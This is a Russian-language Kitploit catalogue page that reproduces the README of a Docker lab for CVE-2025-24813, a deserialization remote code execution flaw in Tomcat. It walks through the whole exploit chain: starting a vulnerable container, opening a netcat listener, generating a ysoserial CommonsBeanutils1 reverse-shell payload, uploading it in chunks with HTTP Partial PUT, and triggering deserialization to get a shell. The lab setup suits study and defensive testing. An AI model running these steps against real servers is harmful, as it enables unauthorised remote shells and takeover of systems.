Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-24813 — Session Exploit | Kitploit
Инструменты/GitHubGitHub/beyond-devsecops/cve-2025-24813
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationLearning & EducationRemote Access ToolBinary ExploitationLabs & Practice
GitHubbeyond-devsecops/cve-2025-24813

CVE-2025-24813

Session Exploit

41 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

tags: [tomcat, cve-2025-24813, java, rce, reverse-shell, lab] title: 🧪 Лаборатория CVE-2025-24813 Tomcat RCE (Docker + ysoserial)

🧪 Лаборатория CVE-2025-24813 Tomcat RCE (Docker + ysoserial)

В этой лабораторной работе демонстрируется удалённое выполнение кода через небезопасную десериализацию Java в приложении на Tomcat, которое обрабатывает сериализованные файлы сессий. Полное окружение запускается в Docker с кастомным пейлоудом reverse shell, доставляемым через HTTP-запрос Partial PUT.


📁 Структура каталогов

root@kitploit:~
.
├── 0-run-tomcat.sh        # Сборка + запуск уязвимого контейнера Tomcat
├── 1-generate-revshell.sh # Запуск слушателя Netcat для reverse shell
├── 2-generate-payload.sh  # Генерация пейлоуда reverse shell через ysoserial
├── 3-upload-file.sh       # Загрузка сериализованного пейлоуда через Partial PUT
├── 4-exploit.sh           # Активация эндпоинта десериализации
├── readme.md              # Этот файл
├── source.sh              # Задаёт CALLBACK_IP, LISTENER_PORT и т.д.
├── dummy-app/
│   ├── src/
│   │   └── main/java/com/example/DeserializeServlet.java
│   ├── pom.xml
│   └── Dockerfile

⚙️ Предварительные требования

Установите Java и Netcat:

root@kitploit:~
brew install openjdk netcat

Убедитесь, что используется JDK 11+ и разрешён доступ к модулям через --add-opens.


🧨 Последовательность эксплуатации

  1. 🛠 Собрать и запустить уязвимый Tomcat
  2. 🐚 Запустить слушатель reverse shell
  3. 💣 Сгенерировать пейлоуд ysoserial (CommonsBeanutils1)
  4. 📤 Загрузить пейлоуд через HTTP Partial PUT
  5. 🎯 Вызвать десериализацию и получить shell

🧪 Использование

1. Собрать и запустить уязвимый Tomcat

root@kitploit:~
bash 0-run-tomcat.sh

2. Установить переменные окружения

Создайте файл source.sh подобного содержания:

root@kitploit:~
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100

Затем выполните его:

root@kitploit:~
source source.sh

3. Запустить слушатель reverse shell

В отдельном терминале:

root@kitploit:~
bash 1-generate-revshell.sh

Эта команда запускает:

root@kitploit:~
nc -lnvp 4444

4. Сгенерировать пейлоуд

root@kitploit:~
bash 2-generate-payload.sh

Будет выполнено:

  • Загрузка ysoserial.jar при необходимости
  • Генерация пейлоуда CommonsBeanutils1 с reverse shell
  • Сохранение в файл rev_shell.ser

5. Загрузить пейлоуд

root@kitploit:~
bash 3-upload-file.sh

Этот скрипт выполняет загрузку HTTP Partial PUT по частям с использованием заголовков Content-Range.


6. Запустить эксплойт

root@kitploit:~
bash 4-exploit.sh

Запрос отправляется на:

root@kitploit:~
http://localhost:8080/xxx-api/profile

Этот эндпоинт десериализует загруженный файл и выполняет пейлоуд.

✅ Вы получите reverse shell в терминале с Netcat!


🔍 Отладка

Внутри контейнера:

root@kitploit:~
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l

Проверьте, существует ли файл /tmp/beanutils-worked при тестировании с безопасным пейлоудом.


💡 Примечания

  • Пейлоуды требуют --add-opens для обхода ограничений модулей в Java 11+
  • Reverse shell может завершиться без сообщения об ошибке, если недоступен /bin/bash (попробуйте /bin/sh)
  • Для безопасного тестирования выполнения кода можно использовать: touch /tmp/rce-worked

🧱 Основано на

  • frohoff/ysoserial
  • Apache Tomcat 9.x
  • Цепочки эксплойтов десериализации Java (CommonsBeanutils1)

Скачать инструмент